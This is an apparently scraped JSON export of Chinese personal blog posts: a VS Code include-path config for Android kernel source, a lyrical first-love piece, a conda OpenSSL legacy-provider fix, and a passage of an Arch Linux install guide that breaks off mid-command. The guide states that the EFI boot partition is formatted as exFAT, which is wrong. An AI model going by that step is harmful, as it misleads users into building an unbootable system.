class=\"hljs-number\"\u003e100\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于不知道哪里没配置对,我就在\u003ccode\u003ec_cpp_properties.json\u003c/code\u003e内又配置了一遍includePath:\u003c/p\u003e\u003cp\u003e需要注意的是,我是直接拉取了\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs json\"\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;configurations\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;name\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;linux-gcc-x64\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;cStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;default\u0026#125;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;intelliSenseMode\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;linux-gcc-x64\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;compileCommands\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/compile_commands.json\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;includePath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/drivers\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/kernel\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/include/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/arch/arm64/include/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;cppStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;default\u0026#125;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;compilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/usr/bin/gcc\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;version\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr\u003e\u003cp\u003e参考文章:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://bbs.kanxue.com/thread-275365.htm\"\u003e[原创] Android Kernel 源码环境\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://xiue233.github.io/2024/08/13/vscode-config-for-android-kernel/"},{"title":"First Love Story","time":"2024-08-05T08:05:21Z","content":"\u003cp\u003e蝉鸣依旧,夏日炎长。\u003c/p\u003e\n\u003cp\u003e怡人的早晨,慵散于梦乡。\u003c/p\u003e\n\u003cp\u003e放纵那空气中弥漫着的鸟语,任凭花香拂过躯体。\u003c/p\u003e\n\u003cp\u003e无人知晓的早晨,惬意地拥抱着整个春朝,即使夏时已至。\u003c/p\u003e\n\u003cp\u003e梦,过于绵长,过于芬芳,望向逝去的春日,却险些错过盛夏。\u003c/p\u003e\n\u003cp\u003chr /\u003e\u003cp\u003e蝉鸣依旧,夏日炎长。\u003c/p\u003e\u003cp\u003e怡人的早晨,慵散于梦乡。\u003c/p\u003e\u003cp\u003e放纵那空气中弥漫着的鸟语,任凭花香拂过躯体。\u003c/p\u003e\u003cp\u003e无人知晓的早晨,惬意地拥抱着整个春朝,即使夏时已至。\u003c/p\u003e\u003cp\u003e梦,过于绵长,过于芬芳,望向逝去的春日,却险些错过盛夏。\u003c/p\u003e\u003cp\u003e回首而去,差许立秋。\u003c/p\u003e\u003cp\u003e远方的姑娘,望着她走过了整段春日。\u003c/p\u003e\u003cp\u003e河对岸的姑娘,与你,却不曾停歇,相向而行,相逢而过。\u003c/p\u003e\u003cp\u003e擦身之别,已入夏至,回首过往,便欲立秋。\u003c/p\u003e\u003cp\u003e那日芬芳扑鼻,循着朵朵桃花,惊鸿一瞥,忽见枝头女子笑颜生姹紫嫣红。\u003c/p\u003e\u003cp\u003e一笑醉四方,追日去,忘却身疲力竭,不知止。\u003c/p\u003e\u003cp\u003e饮断西湖泪,吃尽桃花林,力尽不知休,肠断方思敛。\u003c/p\u003e\u003cp\u003e鹊桥已去,何人涉足渡银河?\u003c/p\u003e\u003cp\u003e桃花亦谢,痴人说梦等春秋。\u003c/p\u003e\u003cp\u003e春朝已去,夏日绵长,秋收硕果,冬去春归。\u003c/p\u003e\u003cp\u003e亦已焉哉。天命至此,人事何为?\u003c/p\u003e\u003cp\u003e这年夏日,终于为爱之诗,写满了第一个篇章。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/05/first-love-story/"},{"title":"Linux下Conda遇到OpenSSL 3.0 Legacy错误","time":"2024-08-04T12:52:24Z","content":"\u003ch2 id=\"问题及解决方案\"\u003e\u003ca href=\"#问题及解决方案\" class=\"headerlink\" title=\"问题及解决方案\"\u003e\u003c/a\u003e问题及解决方案\u003c/h2\u003e\u003cp\u003e使用conda创建一个新环境时出现了:\u003c/p\u003e\n\u003cfigure class=\"highlight s\u003chr /\u003e\u003ch2 id=\"问题及解决方案\"\u003e\u003ca href=\"#问题及解决方案\" class=\"headerlink\" title=\"问题及解决方案\"\u003e\u003c/a\u003e问题及解决方案\u003c/h2\u003e\u003cp\u003e使用conda创建一个新环境时出现了:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eError while loading conda entry point: conda-content-trust (OpenSSL 3.0\u0026#x27;s legacy provider failed to load. This is a fatal error by default, but cryptography supports running without legacy algorithms by setting the environment variable CRYPTOGRAPHY_OPENSSL_NO_LEGACY. If you did not expect this error, you have likely made a mistake with your OpenSSL configuration.)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e实际上通过配置一个环境变量即可:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"问题剖析\"\u003e\u003ca href=\"#问题剖析\" class=\"headerlink\" title=\"问题剖析\"\u003e\u003c/a\u003e问题剖析\u003c/h2\u003e\u003cp\u003e以下是GPT的回答:\u003c/p\u003e\u003cp\u003e这个错误消息与OpenSSL 3.0及其提供的遗留加密算法有关。以下是错误的详细解释和解决方法:\u003c/p\u003e\u003ch3 id=\"错误详细解释\"\u003e\u003ca href=\"#错误详细解释\" class=\"headerlink\" title=\"错误详细解释\"\u003e\u003c/a\u003e错误详细解释\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eError while loading conda entry point: conda-content-trust\u003c/strong\u003e:这表示加载Conda的特定组件(即\u003ccode\u003econda-content-trust\u003c/code\u003e)时出现问题。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOpenSSL 3.0’s legacy provider failed to load\u003c/strong\u003e:OpenSSL 3.0 包含一个“遗留提供者”,其中包含较旧的加密算法。此错误表明该提供者未能加载。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eThis is a fatal error by default\u003c/strong\u003e:默认情况下,未能加载遗留提供者被认为是一个致命错误。\u003c/li\u003e\u003cli\u003e**cryptography supports running without legacy algorithms by setting the environment variable \u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e**:\u003ccode\u003ecryptography\u003c/code\u003e库可以在不使用这些遗留算法的情况下运行,只需设置环境变量\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e为\u003ccode\u003e1\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIf you did not expect this error, you have likely made a mistake with your OpenSSL configuration\u003c/strong\u003e:此错误可能是由于你的系统上的OpenSSL配置不正确造成的。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"解决方法\"\u003e\u003ca href=\"#解决方法\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h3\u003e\u003cp\u003e要解决此错误,你可以将环境变量\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e设置为\u003ccode\u003e1\u003c/code\u003e,这将指示\u003ccode\u003ecryptography\u003c/code\u003e库跳过遗留算法并在没有它们的情况下运行。\u003c/p\u003e\u003ch4 id=\"设置环境变量\"\u003e\u003ca href=\"#设置环境变量\" class=\"headerlink\" title=\"设置环境变量\"\u003e\u003c/a\u003e设置环境变量\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e临时解决方案(仅适用于当前会话)\u003c/strong\u003e:\u003cbr\u003e打开终端并运行:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003eexport\u003c/span\u003e CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e永久解决方案(适用于所有会话)\u003c/strong\u003e:\u003cbr\u003e将该导出命令添加到你的shell配置文件中(例如,\u003ccode\u003e~/.bashrc\u003c/code\u003e、\u003ccode\u003e~/.bash_profile\u003c/code\u003e或\u003ccode\u003e~/.zshrc\u003c/code\u003e,取决于你使用的shell)。例如,如果你使用的是Bash:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;export CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u0026#x27;\u003c/span\u003e \u0026gt;\u0026gt; ~/.bashrc\u003cbr\u003e\u003cspan class=\"hljs-built_in\"\u003esource\u003c/span\u003e ~/.bashrc\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"验证和应用步骤\"\u003e\u003ca href=\"#验证和应用步骤\" class=\"headerlink\" title=\"验证和应用步骤\"\u003e\u003c/a\u003e验证和应用步骤\u003c/h3\u003e\u003col\u003e\u003cli\u003e使用上述方法之一设置环境变量。\u003c/li\u003e\u003cli\u003e重新启动你的终端或使用以下命令重新加载shell配置文件以应用更改:\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003esource\u003c/span\u003e ~/.bashrc \u003cspan class=\"hljs-comment\"\u003e# 或者使用适合你的shell配置文件\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e再次运行你的Conda命令,看看问题是否解决。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e通过设置\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003c/code\u003e,你可以确保\u003ccode\u003ecryptography\u003c/code\u003e库在不需要OpenSSL的遗留算法的情况下运行,从而防止出现此错误。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/04/conda-openssl-legacy-provider/"},{"title":"为Y9000X安装Arch","time":"2024-08-02T02:02:14Z","content":"\u003cblockquote\u003e\n\u003cp\u003e春天,又到了程序员和ArchLinux交尾的时间。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e原因是这样的,因为傻逼Win11各种奇奇怪怪的Bug、卡顿并且在移动办公过程中耗电量惊人,所以不得不把原本装在移动硬盘里的\u003cdel\u003e学习版\u003c/del\u003eAr\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e春天,又到了程序员和ArchLinux交尾的时间。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e原因是这样的,因为傻逼Win11各种奇奇怪怪的Bug、卡顿并且在移动办公过程中耗电量惊人,所以不得不把原本装在移动硬盘里的\u003cdel\u003e学习版\u003c/del\u003eArch给迁移到内置硬盘内。还有就是,一些开发程序在Linux下的兼容性要远好于Windows,所以干脆装双系统当生产力了,然后让Win11成为 “SteamOS”。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e此文章主要面向Y9000X安装Archlinux, 涉及到Y9000X的一些特殊适配问题,但是基本上通用。\u003c/strong\u003e\u003cbr\u003e\u003cdel\u003e主要还是方便我下次炸了,重装系统,看看怎么适配的。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e引导U盘用的是Ventory,不再赘述。\u003c/p\u003e\u003ch2 id=\"基本系统安装\"\u003e\u003ca href=\"#基本系统安装\" class=\"headerlink\" title=\"基本系统安装\"\u003e\u003c/a\u003e基本系统安装\u003c/h2\u003e\u003cp\u003e首先,进入我们亲爱的archiso内,进行系统的初始化配置。\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003e步骤1 - 当我们启动电源时,BIOS(基本输入/输出系统)或UEFI(统一可扩展固件接口)固件从非易失性存储器加载,并执行POST(上电自检)。\u003cbr\u003e\u003cbr\u003e步骤2 - BIOS/UEFI检测连接到系统的设备,包括CPU、RAM和存储。\u003cbr\u003e\u003cbr\u003e步骤3 - 选择一个启动设备以从中引导操作系统。这可以是硬盘、网络服务器或光盘驱动器。\u003cbr\u003e\u003cbr\u003e步骤4 - BIOS/UEFI运行引导加载程序(GRUB),该加载程序提供一个菜单,用于选择操作系统或内核功能。\u003cbr\u003e\u003cbr\u003e步骤5 - 内核准备好后,我们现在切换到用户空间。内核启动systemd作为第一个用户空间进程,它管理进程和服务,探测所有剩余的硬件,挂载文件系统,并运行桌面环境。\u003cbr\u003e\u003cbr\u003e步骤6 - systemd默认在系统引导时激活默认的.target单元。其他分析单元也会被执行。\u003cbr\u003e\u003cbr\u003e步骤7 - 系统运行一系列启动脚本并配置环境。\u003cbr\u003e\u003cbr\u003e步骤8 - 用户被呈现出登录窗口。系统现在已经准备就绪。\u003cbr\u003e\u003cbr\u003e内容转自知乎,找不到原文链接了,十分抱歉。\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"/images/linux-boot-animation.webp\" alt=\"Linux-boot-animation\"\u003e\u003c/p\u003e\u003cp\u003e从上述说明我们可以得出,由于BIOS\u0026#x2F;UEFI等是已经完备的,我们只需要提供bootloader、OS系统内核入口即可。\u003c/p\u003e\u003cp\u003e综上所述,我们安装系统所做的任务实际上只是制作一个bootloader及OS系统内核入口。\u003c/p\u003e\u003ch3 id=\"磁盘分区\"\u003e\u003ca href=\"#磁盘分区\" class=\"headerlink\" title=\"磁盘分区\"\u003e\u003c/a\u003e磁盘分区\u003c/h3\u003e\u003cp\u003e一切的一切追究还是存储在磁盘上,我们需要先从磁盘的分区开始操作。没有磁盘操作,我们无法存储重要的bootloader和内核文件。\u003c/p\u003e\u003cp\u003e这里我比较喜欢的工具是 cfdisk。\u003c/p\u003e\u003col\u003e\u003cli\u003e通过 \u003ccode\u003elsblk\u003c/code\u003e 查看磁盘情况\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e❯ lsblk\u003cbr\u003eNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS\u003cbr\u003envme0n1 259:0 0 476.9G 0 disk \u003cbr\u003e├─nvme0n1p1 259:1 0 260M 0 part \u003cbr\u003e├─nvme0n1p2 259:2 0 16M 0 part \u003cbr\u003e├─nvme0n1p3 259:3 0 200G 0 part \u003cbr\u003e├─nvme0n1p4 259:4 0 274.7G 0 part \u003cbr\u003e└─nvme0n1p5 259:5 0 2G 0 part \u003cbr\u003envme1n1 259:6 0 953.9G 0 disk \u003cbr\u003e├─nvme1n1p1 259:7 0 16M 0 part \u003cbr\u003e├─nvme1n1p2 259:8 0 390.7G 0 part \u003cbr\u003e├─nvme1n1p3 259:9 0 4G 0 part\u003cbr\u003e└─nvme1n1p4 259:10 0 559G 0 part \u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e选择某一个待安装磁盘进行安装\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecfdisk /dev/nvme1n1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e分区不需要关注在哪个盘,只需要关注能够挂载哪些分区即可。\u003c/p\u003e\u003cp\u003e分区需求:\u003c/p\u003e\u003cul\u003e\u003cli\u003eboot分区 (1-2GB,无特殊需求则留一些就行,type为UFEI System)\u003c/li\u003e\u003cli\u003e其他分区(除了根目录其他都可选)\u003cul\u003e\u003cli\u003e根分区\u003c/li\u003e\u003cli\u003eswap\u003c/li\u003e\u003cli\u003e…\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上述的boot分区即是bootloader的存放位置,且其中也会放入内核文件,作为os的内核加载入口;根分区则为你要存放系统文件还有用户文件的地方(可以再单独创建一个home分区)。具体不再赘述,每个人有自己的分配喜好。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e分区格式化\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eboot分区需要格式化为 exFAT 格式,其他的可以自行选择,我选择的是Btrfs支持快照,性能强大。\u003c/p\u003e\u003ch3 id=\"分区挂载\"\u003e\u003ca href=\"#分区挂载\" class=\"headerlink\" title=\"分区挂载\"\u003e\u003c/a\u003e分区挂载\u003c/h3\u003e\u003cp\u003e想要持久性地存储肯定是需要储存在硬盘上的,我们需要挂载上我们刚刚分配的分区,并将系统写入硬盘内。\u003c/p\u003e\u003cp\u003e挂载不再赘述,需要注意分区的类型的影响,尤其是btrfs需要挂载子卷的情况。\u003c/p\u003e\u003cp\u003e根分区挂载在 \u0026#x2F;mnt,boot分区挂载在 \u0026#x2F;mnt\u0026#x2F;boot。\u003c/p\u003e\u003ch3 id=\"GRUB2的安装–安装bootloader\"\u003e\u003ca href=\"#GRUB2的安装–安装bootloader\" class=\"headerlink\" title=\"GRUB2的安装–安装bootloader\"\u003e\u003c/a\u003eGRUB2的安装–安装bootloader\u003c/h3\u003e\u003col\u003e\u003cli\u003e还是先 pacman -Syu 下(可以提前还源);\u003cbr\u003e可以选择先测速以下:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ereflactor --sort rate -c China -l 200 --verbose --save 